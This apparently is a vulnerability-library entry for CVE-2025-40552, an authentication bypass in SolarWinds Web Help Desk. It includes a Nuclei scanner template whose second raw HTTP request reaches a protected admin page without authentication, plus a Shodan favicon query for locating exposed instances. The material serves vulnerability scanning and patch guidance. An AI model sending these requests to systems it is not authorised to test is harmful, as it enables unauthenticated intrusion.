/Vulnerability Library

SolarWinds Web Help Desk - Authentication Bypass

CVE-2025-40552
Verified

Description

SolarWinds Web Help Desk contains an authentication bypass vulnerability caused by improper access control, letting attackers execute protected actions without authentication, exploit requires no special conditions.

Severity

Critical

CVSS Score

9.8

Exploit Probability

9%

Affected Product

web_help_desk

Published Date

February 26, 2026

Template Author

watchtowr, dhiyaneshdk

CVE-2025-40552.yaml
id: CVE-2025-40552

info:
  name: SolarWinds Web Help Desk - Authentication Bypass
  author: watchTowr,DhiyaneshDk
  severity: critical
  description: |
    SolarWinds Web Help Desk contains an authentication bypass vulnerability caused by improper access control, letting attackers execute protected actions without authentication, exploit requires no special conditions.
  impact: |
    Attackers can execute protected actions without authentication, potentially compromising system integrity and data security.
  remediation: Update to the latest version of SolarWinds Web Help Desk.
  reference:
    - https://github.com/watchtowrlabs/watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553
    - https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40552
    - https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm
    - https://nvd.nist.gov/vuln/detail/CVE-2025-40552
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-40552
    cwe-id: CWE-1390
    epss-score: 0.08551
    epss-percentile: 0.9249
  metadata:
    verified: true
    max-request: 2
    vendor: solarwinds
    product: web_help_desk
    shodan-query: http.favicon.hash:"1895809524"
  tags: cve,cve2025,solarwinds,web-help-desk,auth-bypass

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /helpdesk/WebObjects/Helpdesk.woa HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, 'helpdesk','WebObjects')"
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /helpdesk/WebObjects/Helpdesk.woa/wo/1.2 HTTP/1.1
        Host: {{Hostname}}

        wopage=LookAndFeelPref

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body, '<span>Add File</span>','saveOptions')"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210081f7f4659cfd6ffdc7748da8ad653d8cc9e6f4a11175d530e3d8a21fbbd179ac022100d06368c701a73828d18db0319da50404454155fdf36fbbda22315b53b81ba5e2:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2025-40552
CWE ID:
cwe-1390

References

https://github.com/watchtowrlabs/watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-40552https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htmhttps://nvd.nist.gov/vuln/detail/CVE-2025-40552

Remediation Steps

Update to the latest version of SolarWinds Web Help Desk.